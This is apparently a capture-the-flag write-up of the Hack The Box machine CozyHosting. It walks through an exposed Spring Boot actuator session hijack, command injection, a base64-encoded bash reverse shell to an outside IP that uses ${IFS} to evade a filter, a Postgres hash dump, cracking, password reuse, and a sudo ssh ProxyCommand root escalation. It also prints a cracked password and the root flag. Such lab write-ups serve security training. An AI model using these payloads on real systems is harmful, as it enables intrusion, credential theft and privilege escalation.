General··7 min read

HTB CozyHosting

1. Recon: two ports and a wordlist lesson

Hosts entry, then the full sweep.

HTB CozyHosting
hosts file with cozyhosting.htb entry

Two ports. 22 runs OpenSSH 8.9p1 Ubuntu 3ubuntu0.3, which pins the box to Ubuntu 22.04, and 80 runs nginx 1.18.0. Web is the whole machine.

HTB CozyHosting
full-port scan: 22 and 80 only
HTB CozyHosting
detail scan confirms nginx and the title

dirsearch against the root finds four paths, and the medium wordlist finds the same four. Nothing new, which is itself information.

HTB CozyHosting
dirsearch small wordlist results
HTB CozyHosting
medium wordlist confirms the same four paths

The login page is a BootstrapMade template, "Login to Your Account", nothing to confess.

HTB CozyHosting
login page

2. Fingerprinting Spring Boot without touching it

I tried to fuzz the framework path first and actuator never showed up. The reason is not subtle: both wordlists are DirBuster lists from 2007, Spring Boot shipped in 2014, and the word is not in either file. Wrong wordlist, not wrong target.

So the framework gets identified from behavior instead. Four signals stack up:

Burp shows the cookie: JSESSIONID. Java servlet container.

HTB CozyHosting

A quick search confirms what JSESSIONID implies: generated by the servlet container, used by Spring Boot by default.

HTB CozyHosting
JSESSIONID research

JSESSIONID alone only says Java. The three framework-behavior signals on top make it Spring Boot, and no blind actuator request was needed to get there.

3. The actuator and a free admin session

The right wordlist settles it in one second. 174 words, nine 200s:

HTB CozyHosting
Java-Spring-Boot wordlist finds the actuator

The index lists sessions among the exposed endpoints, and every href points at localhost:8080: nginx on 80 proxies to a Spring Boot app that never left the box.

HTB CozyHosting
actuator index

/actuator/sessions is the door. It dumps the live session store with usernames attached: one authenticated session for kanderson, and one UNAUTHORIZED, which is mine.

HTB CozyHosting
session store dump

Swap the cookie in devtools storage, reload /admin, and the Admin Dashboard loads as K. Anderson. Session hijack with zero cracking. HackTricks' Spring actuator page was the reference here.

HTB CozyHosting
admin dashboard as kanderson

4. Cozy Scanner: the bash error that gave up its command

The dashboard has a Connection settings form, Hostname and Username, for something called Cozy Scanner. The banner explains the scanner connects over SSH with a private key in the host's authorized_keys.

Submitting an unresolvable hostname makes the app print the raw SSH error back into the page:

HTB CozyHosting
ssh error reflected into the page

That means the server runs the ssh command through a shell and echoes stderr into the error banner. Injecting kanderson;ls shows nothing, and for a precise reason: the ls executes, its stdout goes nowhere, and only ssh's stderr reaches the banner.

Then kanderson;;ls breaks the script and bash hands over everything:

HTB CozyHosting
bash syntax error leaks the full backend command

The whole picture in one error: the injection point is the Username field, the backend is /bin/bash -c "ssh -o ConnectTimeout=1 <USER>@<HOST>", and the earlier silent ;ls worked after all. A reflect-readback payload would be $(ls | base64 -w0): the substitution output lands inside ssh's argument and comes back in the resolution error.

5. Shell as app

For the shell I used a public exploit that chains the two findings: it pulls the live JSESSIONID from /actuator/sessions and fires the injection into the Username field.

Using Payload : ";echo${IFS}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMDQvMzEgMD4mMQo="${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash;"

The base64 decodes to bash -i &> /dev/tcp/10.10.14.204/31 0>&1, and the ${IFS} substitutions dodge the space filter. penelope catches the connection and upgrades it to a PTY through /usr/bin/python3.

HTB CozyHosting
reverse shell as app on cozyhosting

6. Jar, database, hashes

linpeas, transferred over port 1212 because the target refused port 80, points at two things: an unexpected /app directory at filesystem root, and JVM perf data confirming the Java process runs as uid 1001.

HTB CozyHosting
linpeas transfer
HTB CozyHosting
linpeas run
HTB CozyHosting
unexpected /app and hsperfdata findings

/app holds one file: a 60 MB cloudhosting-0.0.1.jar, owned by root but world-readable.

HTB CozyHosting
the application jar in /app

Extracting it in place fails with permission denied, because /app is root-owned and app cannot write there. The jar itself reads fine, so /tmp it is.

HTB CozyHosting
unzip fails in /app
HTB CozyHosting
unzip works from /tmp

The manifest pins the stack: htb.cloudhosting.CozyHostingApp, Spring Boot 3.0.2, Java 17.

HTB CozyHosting
manifest

And the config explains the entire entry chain in one file:

HTB CozyHosting
application.properties

The developer deliberately exposed sessions and env. The session hijack door was a one-line config decision.

The credential works from kali over the network, not just locally. The Postgres reference I followed is on EnterpriseDB's tutorial and HackTricks' PostgreSQL page.

HTB CozyHosting
psql connection

Enumeration shows the expected four databases, postgres as superuser, and everything in the public schema. A Medium guide to Postgres pentesting supplied the command sweep.

HTB CozyHosting
psql enumeration

The users table is the payload: two bcrypt hashes.

 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWLWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kV08dm | Admin
HTB CozyHosting
users table dump

pg_shadow only holds the one postgres SCRAM entry, already owned. The hashes.com identifier confirms bcrypt, and the hashcat example-hashes wiki pins mode 3200.

HTB CozyHosting
hash identification

7. Crack, reuse, josh

The first hashcat run is a rabbit hole I kept in this writeup because it cost 2.5 minutes and taught two things. The hash file held kanderson's hash, the User role, while the target was admin's. The Hash.Target line said so the whole time. Read it before letting a 3-day ETA run: the crack target and the role you need have to match. The same run showed 48 H/s, which means CPU-only mode; hashcat -I and -D 1,2 exist for a reason.

admin's hash falls in 50 seconds, 0.02 percent into rockyou:

$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kV08dm:manchesterunited
HTB CozyHosting
admin:manchesterunited cracked

Web login confirmed. The real question is where else the password works, and /etc/passwd answers it: three real users, app, postgres, and josh.

HTB CozyHosting
passwd shows app, postgres, josh

The web admin's password is josh's login password.

A miss I kept on purpose: The box expired without the user flag unread. Rule going forward: flag first, escalation second. The user shell is not guaranteed to survive the session.

8. Root: sudo ssh and the direction of the trick

linpeas as josh flags one classic SUID, pkexec 0.105 with the binary bit set, PwnKit territory. It stays an alternative. The intended door is one line:

HTB CozyHosting
pkexec SUID finding
HTB CozyHosting
sudo -l: (root) /usr/bin/ssh *

The first attempt is the instructive failure. sudo ssh localhost /bin/sh prompts for root@localhost's password three times and dies. Reason: in ssh host command, the command runs remotely, after authentication. sudo lifts the local ssh binary, but the login itself still needs a password we do not have.

HTB CozyHosting
sudo ssh localhost /bin/sh fails

GTFOBins' ssh page has the same binary pointing the other direction. The Unprivileged shell entry uses ProxyCommand, and under sudo the shell inherits root:

HTB CozyHosting
GTFOBins ssh ProxyCommand entry
sudo ssh -o ProxyCommand=';/bin/sh 0&<2 1>&2' x

The leading semicolon empties the command, the redirection wires the shell to the proxy process, and no host, password, or authentication ever happens. ProxyCommand executes locally, before the connection exists, so the remote side never gets a vote.

HTB CozyHosting
root shell and the root flag
# whoami
root
# cat /root/root.txt
3cbe1077177a04e268933e40fb7c8383

References

Related Posts